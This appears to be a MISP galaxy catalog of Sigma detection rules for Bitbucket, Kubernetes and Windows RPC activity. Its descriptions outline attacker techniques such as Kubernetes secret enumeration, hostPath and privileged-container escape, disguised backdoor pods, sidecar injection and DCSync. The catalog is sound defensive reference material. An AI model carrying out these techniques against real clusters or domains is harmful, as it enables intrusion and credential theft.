The tag is: *misp-galaxy:sigma-rules="Bitbucket Unauthorized Access To A Resource"*

View relationships graph

Bitbucket Unauthorized Access To A Resource has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compromise Accounts - T1586" with estimative-language:likelihood-probability="almost-certain"

Table 16899. Table References

Links
https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html
https://github.com/SigmaHQ/sigma/tree/master/rules/application/bitbucket/audit/bitbucket_audit_unauthorized_access_detected.yml

Bitbucket Audit Log Configuration Updated

Detects changes to the bitbucket audit log configuration.

The tag is: *misp-galaxy:sigma-rules="Bitbucket Audit Log Configuration Updated"*

View relationships graph

Bitbucket Audit Log Configuration Updated has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16900. Table References

Links

https://confluence.atlassian.com/bitbucketserver/view-and-configure-the-audit-log-776640417.html
https://github.com/SigmaHQ/sigma/tree/master/rules/application/bitbucket/audit/bitbucket_audit_log_configuration_update_detected.yml

Bitbucket Global Secret Scanning Rule Deleted

Detects Bitbucket global secret scanning rule deletion activity.

The tag is: *misp-galaxy:sigma-rules="Bitbucket Global Secret Scanning Rule Deleted"*

View relationships graph

Bitbucket Global Secret Scanning Rule Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16901. Table References

Links
https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html
https://confluence.atlassian.com/bitbucketserver/secret-scanning-1157471613.html
https://github.com/SigmaHQ/sigma/tree/master/rules/application/bitbucket/audit/bitbucket_audit_global_secret_scanning_rule_deleted.yml

Bitbucket Full Data Export Triggered

Detects when full data export is attempted.

The tag is: *misp-galaxy:sigma-rules="Bitbucket Full Data Export Triggered"*

View relationships graph

Bitbucket Full Data Export Triggered has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Code Repositories - T1213.003" with estimative-language:likelihood-probability="almost-certain"

Table 16902. Table References

Links
https://confluence.atlassian.com/adminjiraserver0811/importing-and-exporting-data-1019391889.html
https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html
https://github.com/SigmaHQ/sigma/tree/master/rules/application/bitbucket/audit/bitbucket_audit_full_data_export_triggered.yml

Bitbucket Unauthorized Full Data Export Triggered

Detects when full data export is attempted an unauthorized user.

The tag is: *misp-galaxy:sigma-rules="Bitbucket Unauthorized Full Data Export Triggered"*

View relationships graph

Bitbucket Unauthorized Full Data Export Triggered has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Code Repositories - T1213.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Compromise Accounts - T1586" with estimative-language:likelihood-probability="almost-certain"

Table 16903. Table References

Links
https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html
https://confluence.atlassian.com/bitbucketserver/secret-scanning-1157471613.html
https://github.com/SigmaHQ/sigma/tree/master/rules/application/bitbucket/audit/bitbucket_audit_unauthorized_full_data_export_triggered.yml

Bitbucket Project Secret Scanning Allowlist Added

Detects when a secret scanning allowlist rule is added for projects.

The tag is: *misp-galaxy:sigma-rules="Bitbucket Project Secret Scanning Allowlist Added"*

View relationships graph

Bitbucket Project Secret Scanning Allowlist Added has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16904. Table References

Links
https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html
https://confluence.atlassian.com/bitbucketserver/secret-scanning-1157471613.html
https://github.com/SigmaHQ/sigma/tree/master/rules/application/bitbucket/audit/bitbucket_audit_project_secret_scanning_allowlist_added.yml

Bitbucket User Login Failure Via SSH

Detects SSH user login access failures. Please note that this rule can be noisy and is recommended

to use with correlation based on "author.name" field.

The tag is: *misp-galaxy:sigma-rules="Bitbucket User Login Failure Via SSH"*

View relationships graph

Bitbucket User Login Failure Via SSH has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 16905. Table References

Links
https://confluence.atlassian.com/bitbucketserver/enable-ssh-access-to-git-repositories-776640358.html
https://confluence.atlassian.com/bitbucketserver/view-and-configure-the-audit-log-776640417.html
https://github.com/SigmaHQ/sigma/tree/master/rules/application/bitbucket/audit/bitbucket_audit_user_login_failure_via_ssh_detected.yml

Bitbucket Secret Scanning Exempt Repository Added

Detects when a repository is exempted from secret scanning feature.

The tag is: *misp-galaxy:sigma-rules="Bitbucket Secret Scanning Exempt Repository Added"*

View relationships graph

Bitbucket Secret Scanning Exempt Repository Added has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16906. Table References

Links
https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html
https://confluence.atlassian.com/bitbucketserver/secret-scanning-1157471613.html
https://github.com/SigmaHQ/sigma/tree/master/rules/application/bitbucket/audit/bitbucket_audit_secret_scanning_exempt_repository_detected.yml

Bitbucket User Permissions Export Attempt

Detects user permission data export attempt.

The tag is: *misp-galaxy:sigma-rules="Bitbucket User Permissions Export Attempt"*

View relationships graph

Bitbucket User Permissions Export Attempt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Identify Roles - T1591.004" with estimative-language:likelihood-probability="almost-certain"

Table 16907. Table References

Links
https://confluence.atlassian.com/bitbucketserver/users-and-groups-776640439.html
https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html
https://github.com/SigmaHQ/sigma/tree/master/rules/application/bitbucket/audit/bitbucket_audit_user_permissions_export_attempt_detected.yml

Kubernetes Secrets Enumeration

Detects enumeration of Kubernetes secrets.

The tag is: *misp-galaxy:sigma-rules="Kubernetes Secrets Enumeration"*

View relationships graph

Kubernetes Secrets Enumeration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Container API - T1552.007" with estimative-language:likelihood-probability="almost-certain"

Table 16908. Table References

Links
https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/List%20K8S%20secrets/
https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_secrets_enumeration.yml

Kubernetes Secrets Modified or Deleted

Detects when Kubernetes Secrets are Modified or Deleted.

The tag is: *misp-galaxy:sigma-rules="Kubernetes Secrets Modified or Deleted"*

Table 16909. Table References

Links

https://commandk.dev/blog/guide-to-audit-k8s-secrets-for-compliance/
https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/
https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_secrets_modified_or_deleted.yml

Potential Remote Command Execution In Pod Container

Detects attempts to execute remote commands, within a Pod's container using e.g. the "kubectl exec" command.

The tag is: *misp-galaxy:sigma-rules="Potential Remote Command Execution In Pod Container"*

View relationships graph

Potential Remote Command Execution In Pod Container has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with estimative-language:likelihood-probability="almost-certain"

Table 16910. Table References

Links
https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Exec%20into%20container/
https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_exec_into_container.yml

Kubernetes Rolebinding Modification

Detects when a Kubernetes Rolebinding is created or modified.

The tag is: *misp-galaxy:sigma-rules="Kubernetes Rolebinding Modification"*

Table 16911. Table References

Links
https://medium.com/@seifeddinerajhi/kubernetes-rbac-privilege-escalation-exploits-and-mitigations-26c07629eeab
https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/
https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_rolebinding_modification.yml

New Kubernetes Service Account Created

Detects creation of new Kubernetes service account, which could indicate an attacker's attempt to persist within a cluster.

The tag is: *misp-galaxy:sigma-rules="New Kubernetes Service Account Created"*

View relationships graph

New Kubernetes Service Account Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"

Table 16912. Table References

Links
https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/container%20service%20account/
https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_serviceaccount_creation.yml

Kubernetes Admission Controller Modification

Detects when a modification (create, update or replace) action is taken that affects mutating or validating webhook configurations, as they can be used by an adversary to achieve persistence or exfiltrate access credentials.

The tag is: *misp-galaxy:sigma-rules="Kubernetes Admission Controller Modification"*

View relationships graph

Kubernetes Admission Controller Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Container API - T1552.007" with estimative-language:likelihood-probability="almost-certain"

Table 16913. Table References

Links
https://security.padok.fr/en/blog/kubernetes-webhook-attackers
https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/
https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_change_admission_controller.yml

Kubernetes Unauthorized or Unauthenticated Access

Detects when a request to the Kubernetes API is rejected due to lack of authorization or due to an

expired authentication token being used. This may indicate an attacker attempting to leverage credentials they have obtained.

The tag is: *misp-galaxy:sigma-rules="Kubernetes Unauthorized or Unauthenticated Access"*

Table 16914. Table References

Links
https://www.datadoghq.com/blog/monitor-kubernetes-audit-logs/#monitor-api-authentication-issues
https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/
https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_unauthorized_unauthenticated_actions.yml

Kubernetes CronJob/Job Modification

Detects when a Kubernetes CronJob or Job is created or modified. A Kubernetes Job creates one or more pods to accomplish a specific task, and a CronJob creates Jobs on a recurring schedule. An adversary can take advantage of this Kubernetes object to schedule Jobs to run containers that execute malicious code within a cluster, allowing them to achieve persistence.

The tag is: *misp-galaxy:sigma-rules="Kubernetes CronJob/Job Modification"*

Table 16915. Table References

Links
https://www.redhat.com/en/blog/protecting-kubernetes-against-mitre-attck-persistence#technique-33-kubernetes-cronjob
https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/
https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_cronjob_modification.yml

RBAC Permission Enumeration Attempt

Detects identities attempting to enumerate their Kubernetes RBAC permissions. In the early stages of a breach, attackers will aim to list the permissions they have within the compromised environment. In a Kubernetes cluster, this can be achieved by interacting with the API server, and querying the SelfSubjectAccessReview API via e.g. a "kubectl auth can-i --list" command. This will enumerate the Role-Based Access Controls (RBAC) rules defining the compromised user's authorization.

The tag is: *misp-galaxy:sigma-rules="RBAC Permission Enumeration Attempt"*

View relationships graph

RBAC Permission Enumeration Attempt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Groups - T1069.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cloud Account - T1087.004" with estimative-language:likelihood-probability="almost-certain"

Table 16916. Table References

Links
https://www.elastic.co/guide/en/security/current/kubernetes-suspicious-self-subject-review.html
https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_rbac_permisions_listing.yml

Creation Of Pod In System Namespace

Detects deployments of pods within the kube-system namespace, which could be intended to imitate system pods. System pods, created by controllers such as Deployments or DaemonSets have random suffixes in their names. Attackers can use this fact and name their backdoor pods as if they were created by these controllers to avoid detection. Deployment of such a backdoor container e.g. named kube-proxy-bv61v, could be attempted in the kube-system namespace alongside the other administrative containers.

The tag is: *misp-galaxy:sigma-rules="Creation Of Pod In System Namespace"*

View relationships graph

Creation Of Pod In System Namespace has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Match Legitimate Resource Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

Table 16917. Table References

Links
https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Pod%20or%20container%20name%20similarily/
https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_pod_in_system_namespace.yml

Container With A hostPath Mount Created

Detects creation of a container with a hostPath mount. A hostPath volume mounts a directory or a file from the node to the container. Attackers who have permissions to create a new pod in the cluster may create one with a writable hostPath volume and chroot to escape to the underlying node.

The tag is: *misp-galaxy:sigma-rules="Container With A hostPath Mount Created"*

View relationships graph

Container With A hostPath Mount Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Escape to Host - T1611" with estimative-language:likelihood-probability="almost-certain"

Table 16918. Table References

Links
https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216
https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Writable%20hostPath%20mount/
https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_hostpath_mount.yml

Kubernetes Events Deleted

Detects when events are deleted in Kubernetes. An adversary may delete Kubernetes events in an attempt to evade detection.

The tag is: *misp-galaxy:sigma-rules="Kubernetes Events Deleted"*

View relationships graph

Kubernetes Events Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 16919. Table References

Links
https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Delete%20K8S%20events/
https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_events_deleted.yml

Privileged Container Deployed

Detects the creation of a "privileged" container, an action which could be indicative of a threat actor mounting a container breakout attacks. A privileged container is a container that can access the host with all of the root capabilities of the host machine. This allows it to view, interact and modify processes, network operations, IPC calls, the file system, mount points, SELinux configurations etc. as the root user on the host. Various versions of "privileged" containers can be specified, e.g. by setting the securityContext.privileged flag in the resource specification, setting non-standard Linux capabilities, or configuring the hostNetwork/hostPID fields

The tag is: *misp-galaxy:sigma-rules="Privileged Container Deployed"*

View relationships graph

Privileged Container Deployed has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Escape to Host - T1611" with estimative-language:likelihood-probability="almost-certain"

Table 16920. Table References

Links
https://www.elastic.co/guide/en/security/current/kubernetes-container-created-with-excessive-linux-capabilities.html
https://www.elastic.co/guide/en/security/current/kubernetes-pod-created-with-hostnetwork.html
https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-kubernetes.html#privilegeescalation-kubernetes-privilegedcontainer
https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Privileged%20container/
https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_privileged_pod_creation.yml

Deployment Deleted From Kubernetes Cluster

Detects the removal of a deployment from a Kubernetes cluster. This could indicate disruptive activity aiming to impact business operations.

The tag is: *misp-galaxy:sigma-rules="Deployment Deleted From Kubernetes Cluster"*

View relationships graph

Deployment Deleted From Kubernetes Cluster has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="almost-certain"

Table 16921. Table References

Links
https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Data%20destruction/
https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_deployment_deleted.yml

Potential Sidecar Injection Into Running Deployment

Detects attempts to inject a sidecar container into a running deployment. A sidecar container is an additional container within a pod, that resides alongside the main container. One way to add containers to running resources like Deployments/DeamonSets/StatefulSets, is via a "kubectl patch" operation. By injecting a new container within a legitimate pod, an attacker can run their code and hide their activity, instead of running their own separated pod in the cluster.

The tag is: *misp-galaxy:sigma-rules="Potential Sidecar Injection Into Running Deployment"*

View relationships graph

Potential Sidecar Injection Into Running Deployment has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with estimative-language:likelihood-probability="almost-certain"

Table 16922. Table References

Links
https://kubernetes.io/docs/tasks/manage-kubernetes-objects/update-api-object-kubectl-patch
https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Sidecar%20Injection/
https://github.com/SigmaHQ/sigma/tree/master/rules/application/kubernetes/audit/kubernetes_audit_sidecar_injection.yml

Remote Event Log Recon

Detects remote RPC calls to get event log information via EVEN or EVEN6

The tag is: *misp-galaxy:sigma-rules="Remote Event Log Recon"*

Table 16923. Table References

Links
https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
https://github.com/zeronetworks/rpcfirewall
https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_eventlog_recon.yml

Recon Activity via SASec

Detects remote RPC calls to read information about scheduled tasks via SASec

The tag is: *misp-galaxy:sigma-rules="Recon Activity via SASec"*

Table 16924. Table References

Links
https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931
https://github.com/zeronetworks/rpcfirewall

https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_recon.yml

Remote Encrypting File System Abuse

Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR

The tag is: *misp-galaxy:sigma-rules="Remote Encrypting File System Abuse"*

Table 16925. Table References

Links
https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942
https://github.com/zeronetworks/rpcfirewall
https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-EFSR.md
https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_efs_abuse.yml

Remote DCOM/WMI Lateral Movement

Detects remote RPC calls that performs remote DCOM operations. These could be abused for lateral movement via DCOM or WMI.

The tag is: *misp-galaxy:sigma-rules="Remote DCOM/WMI Lateral Movement"*

View relationships graph

Remote DCOM/WMI Lateral Movement has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 16926. Table References

Links
https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9
https://github.com/zeronetworks/rpcfirewall
https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_dcom_or_wmi.yml

Remote Schedule Task Lateral Movement via ATSvc

Detects remote RPC calls to create or execute a scheduled task via ATSvc

The tag is: *misp-galaxy:sigma-rules="Remote Schedule Task Lateral Movement via ATSvc"*

View relationships graph

Remote Schedule Task Lateral Movement via ATSvc has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

Table 16927. Table References

Links
https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931
https://github.com/zeronetworks/rpcfirewall
https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_lateral_movement.yml

Remote Schedule Task Lateral Movement via ITaskSchedulerService

Detects remote RPC calls to create or execute a scheduled task

The tag is: *misp-galaxy:sigma-rules="Remote Schedule Task Lateral Movement via ITaskSchedulerService"*

View relationships graph

Remote Schedule Task Lateral Movement via ITaskSchedulerService has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

Table 16928. Table References

Links

https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931
https://github.com/zeronetworks/rpcfirewall
https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_lateral_movement.yml

SharpHound Recon Account Discovery

Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.

The tag is: *misp-galaxy:sigma-rules="SharpHound Recon Account Discovery"*

View relationships graph

SharpHound Recon Account Discovery has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

Table 16929. Table References

Links
https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wkst/55118c55-2122-4ef9-8664-0c1ff9e168f3
https://github.com/zeronetworks/rpcfirewall
https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-WKST.md
https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_account.yml

Remote Printing Abuse for Lateral Movement

Detects remote RPC calls to possibly abuse remote printing service via MS-RPRN / MS-PAR

The tag is: *misp-galaxy:sigma-rules="Remote Printing Abuse for Lateral Movement"*

Table 16930. Table References

Links
https://github.com/zeronetworks/rpcfirewall

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pan/e44d984c-07d3-414c-8ffc-f8c8ad8512a8
https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RPRN-PAR.md
https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_printing_lateral_movement.yml

Remote Schedule Task Lateral Movement via SASec

Detects remote RPC calls to create or execute a scheduled task via SASec

The tag is: *misp-galaxy:sigma-rules="Remote Schedule Task Lateral Movement via SASec"*

View relationships graph

Remote Schedule Task Lateral Movement via SASec has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

Table 16931. Table References

Links
https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931
https://github.com/zeronetworks/rpcfirewall
https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_lateral_movement.yml

Remote Server Service Abuse for Lateral Movement

Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR

The tag is: *misp-galaxy:sigma-rules="Remote Server Service Abuse for Lateral Movement"*

View relationships graph

Remote Server Service Abuse for Lateral Movement has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16932. Table References

Links
https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SCMR.md
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9
https://github.com/zeronetworks/rpcfirewall
https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_service_lateral_movement.yml

Possible DCSync Attack

Detects remote RPC calls to MS-DRSR from non DC hosts, which could indicate DCSync / DCShadow attacks.

The tag is: *misp-galaxy:sigma-rules="Possible DCSync Attack"*

View relationships graph

Possible DCSync Attack has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 16933. Table References

Links
https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-DRSR.md
https://github.com/zeronetworks/rpcfirewall
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47?redirectedfrom=MSDN
https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_dcsync_attack.yml

Remote Schedule Task Recon via ITaskSchedulerService

Detects remote RPC calls to read information about scheduled tasks

The tag is: *misp-galaxy:sigma-rules="Remote Schedule Task Recon via ITaskSchedulerService"*

Table 16934. Table References

Links
https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931
https://github.com/zeronetworks/rpcfirewall
https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_recon.yml

Remote Registry Lateral Movement

Detects remote RPC calls to modify the registry and possible execute code

The tag is: *misp-galaxy:sigma-rules="Remote Registry Lateral Movement"*

View relationships graph

Remote Registry Lateral Movement has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 16935. Table References

Links
https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78
https://github.com/zeronetworks/rpcfirewall
https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md
https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_lateral_movement.yml

Remote Schedule Task Recon via AtScv

Detects remote RPC calls to read information about scheduled tasks via AtScv

The tag is: *misp-galaxy:sigma-rules="Remote Schedule Task Recon via AtScv"*

Table 16936. Table References

Links
https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931
https://github.com/zeronetworks/rpcfirewall
https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_recon.yml

Remote Registry Recon

Detects remote RPC calls to collect information

The tag is: *misp-galaxy:sigma-rules="Remote Registry Recon"*

Table 16937. Table References

Links
https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78
https://github.com/zeronetworks/rpcfirewall
https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md
https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_recon.yml

Remote Server Service Abuse

Detects remote RPC calls to possibly abuse remote encryption service via MS-SRVS

The tag is: *misp-galaxy:sigma-rules="Remote Server Service Abuse"*

Table 16938. Table References

Links

https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9
https://github.com/zeronetworks/rpcfirewall
https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md
https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_server_service_abuse.yml

SharpHound Recon Sessions

Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.

The tag is: *misp-galaxy:sigma-rules="SharpHound Recon Sessions"*

View relationships graph

